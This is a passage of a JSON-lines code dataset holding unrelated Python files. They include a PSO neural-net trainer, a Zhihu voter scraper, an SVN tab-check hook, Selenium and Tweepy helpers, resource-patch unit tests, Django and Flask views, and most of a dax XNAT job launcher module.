calculate_cost(AL, Y_sample)\n # Global Best\n PBest, GBest = global_best(PBest, GBest, caches, cost)\n # Update Velocity\n velocity = update_velocity(velocity, caches, PBest, GBest, hparameters)\n # Update Population\n population = update_population(population, velocity)\n\n # print cost\n if(epoch % 200 == 0 and print_cost == True):\n print(\"Cost after \" + str(epoch) + \" epoch: \" + str(cost))\n costs.append(cost)\n \n if (cost < epsilon):\n break\n \n return population","sub_path":"HW4/PSOMLP.py","file_name":"PSOMLP.py","file_ext":"py","file_size_in_byte":4533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"236323286","text":"# -*- coding: utf-8 -*-\nfrom bs4 import BeautifulSoup\nimport requests\nimport cookielib\n\nrequests = requests.Session()\nrequests.cookies = cookielib.LWPCookieJar('cookies')\ntry:\n requests.cookies.load(ignore_discard=True)\nexcept:\n Logging.error(u\"你还没有登录知乎哦 ...\")\n Logging.info(u\"执行 `python auth.py` 即可以完成登录。\")\n raise Exception(\"无权限(403)\")\n\n\nclass Voters(object):\n \"\"\"docstring for Voters\"\"\"\n baseurl = \"https://www.zhihu.com/answer/answerid/voters_profile\"\n\n def __init__(self, answerid):\n super(Voters, self).__init__()\n self.answerid = answerid\n\n def voters_requsets(self, url):\n r = requests.get(url)\n data = r.json()\n if data[\"success\"] != True:\n self.voters_requsets(url)\n nexturl = data[\"paging\"][\"next\"]\n payload = data[\"payload\"]\n return nexturl, payload\n\n def get_voters(self, url=None):\n while True:\n if url == \"\":\n return\n yield\n if url == None:\n answer_id = self.answerid\n url = Voters.baseurl.replace(\"answerid\", answer_id)\n url, payload = self.voters_requsets(url)\n for item in payload:\n yield self.parser_voter(item)\n\n def parser_voter(self, html):\n soup = BeautifulSoup(html, 'lxml')\n author_url, author_id = None, None\n author_ellipsis = soup.find('div', class_=\"author ellipsis\")\n if author_ellipsis != None:\n author_url = author_ellipsis.a[\"href\"]\n author_id = author_ellipsis.a[\"data-tip\"].replace(\"p$t$\", \"\")\n return author_url, author_id\n","sub_path":"zhihu/voters.py","file_name":"voters.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"521322666","text":"# Copyright 2008 Adam Byrtek\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\" Reject files with given extensions that include leading tabs. \"\"\"\n\nimport re\n\ndef run(trans, config):\n check = config.getArray(\"RejectTabs.CheckFiles\", [\".*\"])\n ignore = config.getArray(\"RejectTabs.IgnoreFiles\", [])\n files = trans.getFiles(check, ignore)\n\n errors = []\n for filename, attr in files.iteritems():\n if attr not in [\"A\", \"U\"]:\n # Process only files which were added or updated\n continue\n if trans.hasProperty(\"svn:mime-type\", filename) and trans.getProperty(\"svn:mime-type\", filename) == \"application/octet-stream\":\n # Skip binary files\n continue\n\n file = open(trans.getFile(filename), \"r\")\n try:\n for line in file:\n if re.match(\"^\\s*\\t\", line):\n errors.append(\"File %s contains leading tabs\" % filename)\n break\n finally:\n file.close()\n\n if len(errors) == 0:\n return (\"\", 0)\n else:\n return (\"\\n\".join(errors), 1)\n","sub_path":"svnchecker/tags/0.3_20080720_REL/svnchecker/checks/RejectTabs.py","file_name":"RejectTabs.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"440010392","text":"from selenium.webdriver.support.wait import WebDriverWait\nfrom PO模式.utils.mySettings import TIMEOUT,POLL_FREQUENCY\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom PO模式.utils.myDriver import Driver\nimport requests\n\nclass BasePage:\n def __init__(self):\n self.driver = Driver.get_driver()\n\n def get_element(self,locator):\n \"\"\"\n (设置默认的显示等待)根据表达式匹配单个元素,并返回元素对象\n :param locator: 元组,第 0 个元素表示定位方法,第 1 个元素表示元素定位表达式\n :return:\n \"\"\"\n # 判断元素是否存在\n WebDriverWait(\n # 传入浏览器对象\n driver=self.driver,\n # 传入超时时间\n timeout=TIMEOUT,\n # 传入轮询时间\n poll_frequency=POLL_FREQUENCY).until(\n EC.visibility_of_element_located(locator))\n # 返回元素对象\n return self.driver.find_element(*locator)\n\n\n def get_elements(self, locator):\n \"\"\"\n (显示等待)根据表达式匹配元素列表,并返回元素列表\n :param locator: 元组,第 0 个元素表示定位方法,第 1 个元素表示元素定位表达式\n :return:\n \"\"\"\n # 判断元素是否存在\n WebDriverWait(\n # 传入浏览器对象\n driver=self.driver,\n # 传入超时时间\n timeout=TIMEOUT,\n # 传入轮询时间\n poll_frequency=POLL_FREQUENCY).until(\n EC.visibility_of_element_located(locator))\n # 返回元素列表\n return self.driver.find_elements(*locator)\n\n\n","sub_path":"PO模式/pages/basePage.py","file_name":"basePage.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"489265153","text":" # Holds the twitter API keys in a GITIGNORED file\r\nimport keys\r\n# Imports the tweepy library\r\nimport tweepy\r\n\r\nimport json\r\n\r\n\r\n\r\ndef Get_twitter(hashtag): #return the text message in a list\r\n #get the hashtages or handles for the function\r\n tag = hashtag + ' -filter:retweets'\r\n\r\n text = []\r\n\r\n if keys.consumer_key == '':\r\n jsonfile = open('example.json','r')\r\n data = json.load(jsonfile)\r\n text.append(data['user']['text'])\r\n\r\n else:\r\n auth = tweepy.OAuthHandler(keys.consumer_key, keys.consumer_secret)\r\n auth.set_access_token(keys.access_token, keys.access_token_secret)\r\n\r\n api = tweepy.API(auth)\r\n\r\n\r\n #search the entire tweets in English, filter out the retweets. the number of the tweets is 10.\r\n for tweet in tweepy.Cursor(api.search, q=tag, tweet_mode='extended', lang='en').items(10):\r\n # add the texts to the list\r\n text.append(tweet.full_text)\r\n return text\r\n","sub_path":"twittwer_api.py","file_name":"twittwer_api.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"85644617","text":"# -*- coding: utf-8 -*-\nimport unittest\n\nfrom pale import Resource, ResourcePatch\nfrom pale.fields import (BaseField, IntegerField, ListField, ResourceField,\n ResourceListField, StringField)\n\n\nclass Stats(object):\n def __init__(self):\n self.logins = 0\n\n\nclass Counter(object):\n def __init__(self, key, value=0):\n self.key = key\n self.value = value\n\n\nclass StatsResource(Resource):\n _value_type = 'Test \"stats\" resource for patches'\n _underlying_model = Stats\n\n logins = IntegerField(\"Number of logins\")\n\n\nclass CounterResource(Resource):\n _value_type = 'Test repeated nested resources'\n _underlying_model = Counter\n\n name = StringField(\"Name of counter\",\n property_name='key')\n value = IntegerField(\"Value of counter\")\n\n\nclass User(object):\n \"\"\"Has:\n tokens - list of strings\n counters - list of Counter\n id - string id\n username - string username\n \"\"\"\n def __init__(self, id, username):\n assert isinstance(username, basestring)\n self.username = username\n assert isinstance(id, basestring)\n self.id = id\n self.stats = Stats()\n self.counters = []\n self.tokens = []\n\n\nclass UserResource(Resource):\n _value_type = 'Test \"user\" resource for patches'\n _underlying_model = User\n\n username = StringField(\"Username\")\n id = StringField(\"User ID\")\n stats = ResourceField(\"Test of a nested resource\",\n resource_type=StatsResource)\n\n counters = ResourceListField(\"List of misc. counters\",\n resource_type=CounterResource)\n\n tokens = ListField(\"List of string tokens\",\n item_type=StringField)\n\n\nclass ResourcePatchTests(unittest.TestCase):\n\n def setUp(self):\n super(ResourcePatchTests, self).setUp()\n\n def test_patch_resource(self):\n\n user = User(\n id=\"001\",\n username=\"soundofjw\",\n )\n\n patch_data = {\n 'username': 'ammoses',\n 'stats': {\n 'logins': 12\n },\n 'counters': [\n {'name': 'products', 'value': 36}\n ],\n 'tokens': [\n 'gold-coin'\n ],\n 'bad_field': True,\n }\n\n user_resouce = UserResource()\n\n dt = user_resouce._render_serializable(user, None)\n self.assertEqual(dt['username'], 'soundofjw')\n self.assertEqual(dt['stats']['logins'], 0)\n self.assertEqual(dt['counters'], [])\n self.assertEqual(dt['tokens'], [])\n\n patch = ResourcePatch(patch_data, user_resouce)\n patch.ignore_missing_fields = True\n\n patch.apply_to_model(user)\n\n dt = user_resouce._render_serializable(user, None)\n self.assertEqual(dt['username'], 'ammoses')\n self.assertEqual(dt['stats']['logins'], 12)\n self.assertEqual(dt['counters'][0], {'name': 'products', 'value': 36})\n self.assertEqual(dt['tokens'][0], 'gold-coin')\n\n","sub_path":"tests/test_resource_patch.py","file_name":"test_resource_patch.py","file_ext":"py","file_size_in_byte":2950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"456040203","text":"from django.http import HttpResponse\nfrom django.db.models import Q\nfrom django.template import loader\nfrom .models import ifscsearch\nimport json\n\ndef index(request):\n template=HttpResponse('IFSC API

API for IFSC

Search Endpoint: /search?q=ICICI
')\n return template\n\ndef search(request):\n template=loader.get_template('webapi/search.html')\n return_list = []\n query=request.GET.get('q')\n if query:\n ifsc = ifscsearch.objects.all().filter(Q(ifsc__icontains=query) |\n Q(bank_id__icontains=query) |\n Q(branch__icontains=query) |\n Q(address__icontains=query) |\n Q(city__icontains=query) |\n Q(district__icontains=query) |\n Q(state__icontains=query) |\n Q(bank_name__icontains=query)).distinct()\n else:\n ifsc = []\n data = []\n for each in ifsc:\n try:\n myarr = {'ifsc' : each.ifsc,'bank_id' : each.bank_id,'branch' : each.branch,'address' : each.address,'city' : each.city,'district' : each.district,'state' : each.state,'bank_name' : each.bank_name}\n data.insert(0, myarr)\n except KeyError:\n myarr = {'ifsc' : each.ifsc,'bank_id' : each.bank_id,'branch' : each.branch,'address' : each.address,'city' : each.city,'district' : each.district,'state' : each.state,'bank_name' : each.bank_name}\n data.insert(0, myarr)\n context = {\n 'data' : json.dumps(data),\n }\n return HttpResponse(template.render(context, request))\n","sub_path":"ifsc/webapi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"173710496","text":"from flask import Flask, render_template, request\nimport requests\nimport praw\n\napp = Flask(__name__)\n\n@app.route(\"/\", methods=[\"GET\",\"POST\"])\ndef home():\n\tif request.method == \"POST\":\n\t\tsubreddit = request.form[\"subreddit\"]\n\t\tr = praw.Reddit(user_agent=\"flaskStarter\")\n\t\tsubmissions = r.get_subreddit(subreddit).get_hot(limit=10)\n\n\t\tpost_info = []\n\t\tfor post in submissions:\n\t\t\t post_info.append(post)\n\t\treturn render_template(\"home.html\", extra_info=post_info)\n\treturn render_template(\"home.html\")\n\n\nhostPublic = '0.0.0.0'\nhostDev = '127.0.0.1'\n\nif __name__ == \"__main__\":\n\tapp.run(debug=True, host=hostDev)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"593171122","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\" launcher.py that represents the main object called by the executables \"\"\"\n\nfrom datetime import datetime, timedelta\nimport logging\nimport sys\nimport os\nimport traceback\nimport tempfile\nimport time\n\nfrom . import lockfiles\nfrom . import processors, modules, XnatUtils, task, cluster, processors_v3\nfrom .task import Task, ClusterTask, XnatTask, mkdirp\nfrom .dax_settings import DAX_Settings, DAX_Netrc\nfrom .errors import (ClusterCountJobsException, ClusterLaunchException,\n DaxXnatError, DaxLauncherError)\nfrom . import yaml_doc\nfrom .processor_graph import ProcessorGraph\nfrom .utilities import find_with_pred, groupby_to_dict\n\n__copyright__ = 'Copyright 2019 Vanderbilt University. All Rights Reserved'\n__all__ = ['Launcher']\nDAX_SETTINGS = DAX_Settings()\nUPDATE_PREFIX = 'updated--'\nUPDATE_FORMAT = \"%Y-%m-%d %H:%M:%S\"\nBUILD_SUFFIX = 'BUILD_RUNNING.txt'\nUPDATE_SUFFIX = 'UPDATE_RUNNING.txt'\nLAUNCH_SUFFIX = 'LAUNCHER_RUNNING.txt'\n\n# Logger to print logs\nLOGGER = logging.getLogger('dax')\n\n\ndef str_to_timedelta(delta_str):\n if len(delta_str) <= 1:\n raise ValueError('invalid timedelta string value')\n\n val = int(delta_str[:-1])\n if delta_str.endswith('s'):\n return timedelta(seconds=val)\n elif delta_str.endswith('m'):\n return timedelta(minutes=val)\n elif delta_str.endswith('h'):\n return timedelta(hours=val)\n elif delta_str.endswith('d'):\n return timedelta(days=val)\n else:\n raise ValueError('invalid timedelta string value')\n\n\ndef check_res_dir(resdir):\n check_dir(os.path.join(resdir, 'DISKQ'))\n check_dir(os.path.join(os.path.join(resdir, 'DISKQ'), 'INPUTS'))\n check_dir(os.path.join(os.path.join(resdir, 'DISKQ'), 'OUTLOG'))\n check_dir(os.path.join(os.path.join(resdir, 'DISKQ'), 'BATCH'))\n check_dir(os.path.join(resdir, 'FlagFiles'))\n\n\ndef check_dir(dir_path):\n try:\n os.makedirs(dir_path)\n except OSError:\n if not os.path.isdir(dir_path):\n raise\n\n\ndef task_needs_to_run(procstatus, qcstatus):\n return\\\n procstatus in [task.NEED_TO_RUN, task.NEED_INPUTS] or\\\n qcstatus in [task.RERUN, task.REPROC, task.DOES_NOT_EXIST]\n\n\ndef task_needs_status_update(qcstatus):\n return qcstatus in [task.RERUN, task.REPROC]\n\n\nclass Launcher(object):\n \"\"\" Launcher object to manage a list of projects from a settings file \"\"\"\n\n def __init__(self,\n resdir,\n project_process_dict=dict(),\n project_modules_dict=dict(),\n yaml_dict=dict(),\n priority_project=None,\n queue_limit=10,\n queue_limit_pending=10,\n limit_pendinguploads=10,\n launch_delay_sec=1,\n root_job_dir='/tmp',\n xnat_user=None, xnat_pass=None, xnat_host=None, cr=None,\n job_email=None, job_email_options='FAIL', job_rungroup=None,\n launcher_type='diskq-combined',\n job_template='~/job_template.txt',\n smtp_host=None,\n timeout_emails=None,\n project_sgp_processors={}):\n \"\"\"\n Entry point for the Launcher class\n\n :param project_process_dict: dictionary associating project & processes\n :param project_modules_dict: dictionary associating project & modules\n :param priority_project: list of project to describe the priority\n :param queue_limit: maximum number of jobs in the queue\n :param queue_limit_pending: maximum pending jobs in the queue\n :param limit_pendinguploads: maximum number of uploads waiting\n :param launch_delay_sec: time to wait between job launches\n :param root_job_dir: root directory for jobs\n :param xnat_host: XNAT Host url. By default, use env variable.\n :param cr: True if the host is an XNAT CR instance (will default to\n :False if not specified)\n :param xnat_user: XNAT User ID. By default, use env variable.\n :param xnat_pass: XNAT Password. By default, use env variable.\n :param job_email: job email address for report\n :param job_email_options: email options for the jobs\n :param job_rungroup: cluster group to run the job under\n :param max_age: maximum time before updating again a session\n :return: None\n \"\"\"\n self.queue_limit = queue_limit\n self.queue_limit_pending = queue_limit_pending\n self.limit_pendinguploads = limit_pendinguploads\n self.launch_delay_sec = launch_delay_sec\n self.root_job_dir = root_job_dir\n self.resdir = resdir\n self.smtp_host = smtp_host\n self.timeout_emails = timeout_emails\n\n # Processors:\n if not isinstance(project_process_dict, dict):\n err = 'project_process_dict set but it is not a dictionary with \\\nproject name as a key and list of processors objects as values.'\n raise DaxLauncherError(err)\n self.project_process_dict = (project_process_dict\n if project_process_dict is not None\n else dict())\n\n # Modules:\n if not isinstance(project_modules_dict, dict):\n err = 'project_modules_dict set but it is not a dictionary with \\\nproject name as a key and list of processors objects as values.'\n raise DaxLauncherError(err)\n self.project_modules_dict = (project_modules_dict\n if project_modules_dict is not None\n else dict())\n\n # YAML dict:\n if not isinstance(yaml_dict, dict):\n err = 'Yaml_files set but it is not a dictionary with project \\\nname as a key and list of yaml filepaths as values.'\n raise DaxLauncherError(err)\n\n # TODO: should this self be here, I don't think so - bdb 2022-04-05\n self.yaml_dict = yaml_dict if yaml_dict is not None else dict()\n\n # Add processors to project_process_dict:\n for project, yaml_objs in list(yaml_dict.items()):\n for yaml_obj in yaml_objs:\n if isinstance(yaml_obj, processors_v3.Processor_v3):\n proc = yaml_obj\n elif isinstance(yaml_obj, processors.AutoProcessor):\n proc = yaml_obj\n elif isinstance(yaml_obj, str):\n # TODO: BenM/general_refactor/this logic should be handled\n # further up the call stack - launchers should be provided\n # AutoProcessors rather than strings for yaml files\n yaml_obj = yaml_doc.YamlDoc().from_file(yaml_obj)\n proc = processors.AutoProcessor(XnatUtils, yaml_obj)\n elif isinstance(yaml_obj.yaml_doc.YamlDoc):\n proc = processors.AutoProcessor(XnatUtils, yaml_obj)\n else:\n err = 'yaml_obj of type {} is unsupported'\n raise DaxLauncherError(err.format(type(yaml_obj)))\n\n if project not in self.project_process_dict:\n self.project_process_dict[project] = [proc]\n else:\n self.project_process_dict[project].append(proc)\n\n self.project_sgp_processors = project_sgp_processors\n\n if isinstance(priority_project, list):\n self.priority_project = priority_project\n elif isinstance(priority_project, str):\n self.priority_project = priority_project.split(',')\n else:\n self.priority_project = None\n\n self.job_email = job_email\n self.job_email_options = job_email_options\n self.job_rungroup = job_rungroup\n self.launcher_type = launcher_type\n self.job_template = job_template\n\n # Create Folders for flagfile/pbs/outlog in RESULTS_DIR\n check_res_dir(resdir)\n\n self.xnat_host = xnat_host\n if not self.xnat_host:\n self.xnat_host = os.environ['XNAT_HOST']\n\n # CR flag: don't want something like 'cr: blah blah' in the settings\n # file turning the cr flag on\n if str(cr).upper() == 'TRUE':\n self.cr = True\n else:\n self.cr = False\n\n LOGGER.info(\n 'XNAT CR status: cr=%s, self.cr=%s' % (str(cr), str(self.cr)))\n\n # User:\n if not xnat_user:\n netrc_obj = DAX_Netrc()\n user, password = netrc_obj.get_login(self.xnat_host)\n self.xnat_user = user\n self.xnat_pass = password\n else:\n self.xnat_user = xnat_user\n if not xnat_pass:\n msg = 'Please provide password for host <%s> and user <%s>: '\n self.xnat_pass = eval(\n input(msg % (self.xnat_host, self.xnat_user)))\n else:\n self.xnat_pass = xnat_pass\n\n # LAUNCH Main Method\n def launch_jobs(self, lockfile_prefix, project_local, sessions_local,\n writeonly=False, pbsdir=None, force_no_qsub=False):\n \"\"\"\n Main Method to launch the tasks\n\n :param lockfile_prefix: prefix for flag file to lock the launcher\n :param project_local: project to run locally\n :param sessions_local: list of sessions to launch tasks\n associated to the project locally\n :param writeonly: write the job files without submitting them\n :param pbsdir: folder to store the pbs file\n :param force_no_qsub: run the job locally on the computer (serial mode)\n :return: None\n\n \"\"\"\n if self.launcher_type == 'diskq-xnat':\n err = 'cannot launch jobs with this launcher type: %s'\n raise DaxLauncherError(err % self.launcher_type)\n\n LOGGER.info('-------------- Launch Tasks --------------')\n LOGGER.info('launcher_type = %s' % self.launcher_type)\n\n flagfile = os.path.join(os.path.join(self.resdir, 'FlagFiles'),\n '%s_%s' % (lockfile_prefix, LAUNCH_SUFFIX))\n\n project_list = self.init_script(flagfile, project_local,\n type_update=3, start_end=1)\n\n if project_list is None or len(project_list) == 0:\n LOGGER.info('no projects to launch')\n else:\n msg = 'Loading task queue from: %s'\n LOGGER.info(msg % os.path.join(self.resdir, 'DISKQ'))\n task_list = load_task_queue(\n self.resdir,\n status=task.NEED_TO_RUN,\n proj_filter=project_list,\n sess_filter=sessions_local)\n\n msg = '%s tasks that need to be launched found'\n LOGGER.info(msg % str(len(task_list)))\n self.launch_tasks(task_list, force_no_qsub=force_no_qsub)\n\n self.finish_script(flagfile, project_list, 3, 2, project_local)\n\n @staticmethod\n def is_launchable_tasks(assr_info):\n \"\"\"\n Check if a task is launchable\n\n :param assr_info: dictionary containing procstatus for the assessor\n :return: True if tasks need to be launch, False otherwise.\n \"\"\"\n return assr_info['procstatus'] == task.NEED_TO_RUN\n\n def launch_tasks(self, task_list, force_no_qsub=False):\n \"\"\"\n Launch tasks from the passed list until the queue is full or\n the list is empty\n\n :param task_list: list of task to launch\n :param force_no_qsub: run the job locally on the computer (serial mode)\n :return: None\n \"\"\"\n launched, pending, pendinguploads = cluster.count_jobs(self.resdir,force_no_qsub)\n if not force_no_qsub:\n LOGGER.info(\n 'Cluster: %d/%d total, %d/%d pending, %d/%d pending uploads',\n launched, self.queue_limit,\n pending, self.queue_limit_pending,\n pendinguploads, self.limit_pendinguploads\n )\n\n # Launch until we reach cluster limit or no jobs left to launch\n _launchcnt = 0\n _launchmax = len(task_list)\n while(\n launched < self.queue_limit and\n pending < self.queue_limit_pending and\n pendinguploads < self.limit_pendinguploads and\n len(task_list) > 0\n ):\n\n cur_task = task_list.pop()\n\n LOGGER.info('Launching job: %s', cur_task.assessor_label)\n\n try:\n success = cur_task.launch(force_no_qsub=force_no_qsub)\n except Exception as E:\n LOGGER.critical(\n 'Caught exception launching job %s',\n cur_task.assessor_label\n )\n LOGGER.critical(\n 'Exception class %s caught with message %s',\n E.__class__, str(E)\n )\n LOGGER.critical(traceback.format_exc())\n success = False\n\n if not success:\n LOGGER.error('ERROR: failed to launch job')\n raise ClusterLaunchException\n\n _launchcnt = _launchcnt + 1\n time.sleep(self.launch_delay_sec)\n\n launched, pending, pendinguploads = cluster.count_jobs(self.resdir,force_no_qsub)\n if not force_no_qsub:\n LOGGER.info(\n 'Cluster: %d/%d total, %d/%d pending, %d/%d pending uploads',\n launched, self.queue_limit,\n pending, self.queue_limit_pending,\n pendinguploads, self.limit_pendinguploads\n )\n\n if not force_no_qsub:\n LOGGER.info(\n 'Launched %d of %d jobs. Stopping', _launchcnt, _launchmax\n )\n\n\n def update_tasks(self, lockfile_prefix, project_local, sessions_local):\n \"\"\"\n Main method to Update the tasks\n\n :param lockfile_prefix: prefix for flag file to lock the launcher\n :param project_local: project to run locally\n :param sessions_local: list of sessions to update tasks associated\n to the project locally\n :return: None\n\n \"\"\"\n if self.launcher_type == 'diskq-xnat':\n err = 'cannot update jobs with this launcher type: %s'\n raise DaxLauncherError(err % self.launcher_type)\n\n LOGGER.info('-------------- Update Tasks --------------')\n LOGGER.info('launcher_type = %s' % self.launcher_type)\n\n flagfile = os.path.join(os.path.join(self.resdir, 'FlagFiles'),\n '%s_%s' % (lockfile_prefix, UPDATE_SUFFIX))\n project_list = self.init_script(flagfile, project_local,\n type_update=2, start_end=1)\n\n if project_list is None or len(project_list) == 0:\n LOGGER.info('no projects to launch')\n else:\n msg = 'Loading task queue from: %s'\n LOGGER.info(msg % os.path.join(self.resdir, 'DISKQ'))\n task_list = load_task_queue(self.resdir, proj_filter=project_list)\n\n LOGGER.info('%s tasks found.' % str(len(task_list)))\n\n LOGGER.info('Updating tasks...')\n for cur_task in task_list:\n LOGGER.info('Updating task: %s' % cur_task.assessor_label)\n cur_task.update_status()\n\n self.finish_script(flagfile, project_list, 2, 2, project_local)\n\n @staticmethod\n def is_updatable_tasks(assr_info):\n \"\"\"\n Check if a task is updatable.\n\n :param assr_info: dictionary containing procstatus/qcstatus\n :return: True if tasks need to be update, False otherwise.\n\n \"\"\"\n good_proc = assr_info['procstatus'] in task.OPEN_STATUS_LIST\n good_qc = assr_info['qcstatus'] in task.OPEN_QA_LIST\n return good_proc or good_qc\n\n # BUILD Main Method\n def build(self, lockfile_prefix, project_local, sessions_local,\n mod_delta=None, proj_lastrun=None, start_sess=None):\n \"\"\"\n Main method to build the tasks and the sessions\n\n :param lockfile_prefix: prefix for flag file to lock the launcher\n :param project_local: project to run locally\n :param sessions_local: list of sessions to launch tasks\n associated to the project locally\n :return: None\n\n \"\"\"\n if self.launcher_type == 'diskq-cluster':\n err = 'cannot build jobs with this launcher type: %s'\n raise DaxLauncherError(err % self.launcher_type)\n\n LOGGER.info('-------------- Build --------------')\n LOGGER.info('launcher_type = %s' % self.launcher_type)\n LOGGER.info('mod delta = %s' % str(mod_delta))\n\n flagfile = os.path.join(os.path.join(self.resdir, 'FlagFiles'),\n '%s_%s' % (lockfile_prefix, BUILD_SUFFIX))\n project_list = self.init_script(flagfile, project_local,\n type_update=1, start_end=1)\n\n LOGGER.info('Connecting to XNAT at %s' % self.xnat_host)\n with XnatUtils.get_interface(\n self.xnat_host,\n self.xnat_user,\n self.xnat_pass,\n self.smtp_host,\n self.timeout_emails\n ) as intf:\n\n if not XnatUtils.has_dax_datatypes(intf):\n err = 'error: dax datatypes are not installed on xnat <%s>'\n raise DaxXnatError(err % (self.xnat_host))\n\n # Priority if set:\n if self.priority_project and not project_local:\n unique_list = set(list(self.project_process_dict.keys()) +\n list(self.project_modules_dict.keys()) +\n list(self.project_sgp_processors.keys()))\n project_list = self.get_project_list(list(unique_list))\n\n # Build projects\n for project_id in project_list:\n LOGGER.info('===== PROJECT: %s =====' % project_id)\n try:\n if ((proj_lastrun) and\n (project_id in proj_lastrun) and\n (proj_lastrun[project_id] is not None)):\n lastrun = proj_lastrun[project_id]\n else:\n lastrun = None\n\n self.build_project(intf, project_id, lockfile_prefix,\n sessions_local,\n mod_delta=mod_delta, lastrun=lastrun,\n start_sess=start_sess)\n\n if len(self.get_subjgenproc_processors(project_id)) > 0:\n # The project has SGP processors so we build them\n self.build_project_subjgenproc(intf, project_id)\n\n except Exception as E:\n err1 = 'Caught exception building project %s'\n err2 = 'Exception class %s caught with message %s'\n LOGGER.critical(err1 % project_id)\n LOGGER.critical(err2 % (E.__class__, str(E)))\n LOGGER.critical(traceback.format_exc())\n\n self.finish_script(flagfile, project_list, 1, 2, project_local)\n\n def build_project(self, intf, project_id, lockfile_prefix, sessions_local,\n mod_delta=None, lastrun=None, start_sess=None):\n \"\"\"\n Build the project\n\n :param intf: pyxnat.Interface object\n :param project_id: project ID on XNAT\n :param lockfile_prefix: prefix for flag file to lock the launcher\n :param sessions_local: list of sessions to launch tasks\n :return: None\n \"\"\"\n\n # TODO: make a project settings to store, processors,\n # modules, etc\n\n # Get lists of modules/processors per scan/exp for this project\n proj_mods = self.project_modules_dict.get(project_id, None)\n proj_procs = self.project_process_dict.get(project_id, None)\n exp_mods, scan_mods = modules.modules_by_type(proj_mods)\n auto_procs = processors.processors_by_type(proj_procs)\n auto_procs = ProcessorGraph.order_processors(auto_procs, LOGGER)\n\n if proj_mods:\n # Modules prerun\n LOGGER.info('* Modules Prerun')\n if sessions_local:\n self.module_prerun(project_id, 'manual_update')\n else:\n self.module_prerun(project_id, lockfile_prefix)\n\n if mod_delta:\n lastmod_delta = str_to_timedelta(mod_delta)\n else:\n lastmod_delta = None\n\n # get the list of processors for this project\n processor_types = set([x.name for x in auto_procs])\n\n LOGGER.info('* Loading list of sessions from XNAT for project')\n sess_list = self.get_sessions_list(intf, project_id, sessions_local)\n\n # Skip to session\n if start_sess:\n for i, sess in enumerate(sess_list):\n if sess['label'] == start_sess:\n LOGGER.info('starting index=' + str(i))\n sess_list = sess_list[i:]\n break\n\n # Group by subject\n sessions_by_subject = groupby_to_dict(\n sess_list, lambda x: x['subject_id'])\n\n # check for processor types that are new to this project\n assr_types = intf.list_project_assessor_types(project_id)\n has_new = (len(processor_types.difference(assr_types)) > 0)\n LOGGER.debug(assr_types)\n LOGGER.debug('has_new=' + str(has_new))\n\n for subject_id, sessions in list(sessions_by_subject.items()):\n # Get the cached session objects for this subject\n\n sessions_to_update = dict()\n\n # Check which sessions (if any) require an update:\n for sess_info in sessions:\n if has_new:\n # Don't skip any sessions\n pass\n elif lastrun:\n last_mod = datetime.strptime(\n sess_info['last_modified'][0:19], UPDATE_FORMAT)\n\n if last_mod < lastrun:\n mess = \"+ Session %s:skipping not modified since last run, last_mod=%s, last_run=%s\"\n LOGGER.info(mess % (sess_info['label'], str(last_mod),\n str(lastrun)))\n continue\n\n elif lastmod_delta:\n last_mod = datetime.strptime(\n sess_info['last_modified'][0:19], UPDATE_FORMAT)\n now_date = datetime.today()\n if now_date > last_mod + lastmod_delta:\n mess = \"+ Session %s:skipping not modified within delta, last_mod=%s\"\n LOGGER.info(mess % (sess_info['label'], str(last_mod)))\n continue\n else:\n LOGGER.info('+ Session {}:modified, last_mod={}'.format(\n sess_info['label'], str(last_mod)))\n\n # Append session to list of sessions to update\n sessions_to_update[sess_info['ID']] = sess_info\n\n if len(sessions_to_update) == 0:\n continue\n\n # build a full list of sessions for the subject: they may be needed\n # even if not all sessions are getting updated\n mess = \"+ Subject %s: loading XML for %s session(s)...\"\n LOGGER.info(mess % (sessions[0]['subject_label'], len(sessions)))\n cached_sessions = [XnatUtils.CachedImageSession(\n intf, x['project_label'], x['subject_label'],\n x['session_label']) for x in sessions]\n\n if len(cached_sessions) > 1:\n cached_sessions = sorted(\n cached_sessions,\n key=lambda s: s.creation_timestamp(), reverse=True)\n\n # update each of the sessions that require it\n for sess_info in list(sessions_to_update.values()):\n try:\n # TODO: BenM - ensure that this code is robust to subjects\n # without sessions and sessions without assessors / scans\n mess = \"+ Session %s: building...\"\n LOGGER.info(mess % sess_info['label'])\n self.build_session(\n intf, sess_info, auto_procs, exp_mods, scan_mods,\n sessions=cached_sessions)\n except Exception as E:\n err1 = 'Caught exception building sessions %s'\n err2 = 'Exception class %s caught with message %s'\n LOGGER.critical(err1 % sess_info['session_label'])\n LOGGER.critical(err2 % (E.__class__, str(E)))\n LOGGER.critical(traceback.format_exc())\n\n if not sessions_local or sessions_local.lower() == 'all':\n # Modules after run\n LOGGER.debug('* Modules Afterrun')\n try:\n self.module_afterrun(intf, project_id)\n except Exception as E:\n err2 = 'Exception class %s caught with message %s'\n LOGGER.critical('Caught exception after running modules')\n LOGGER.critical(err2 % (E.__class__, str(E)))\n LOGGER.critical(traceback.format_exc())\n\n def build_project_subjgenproc(self, 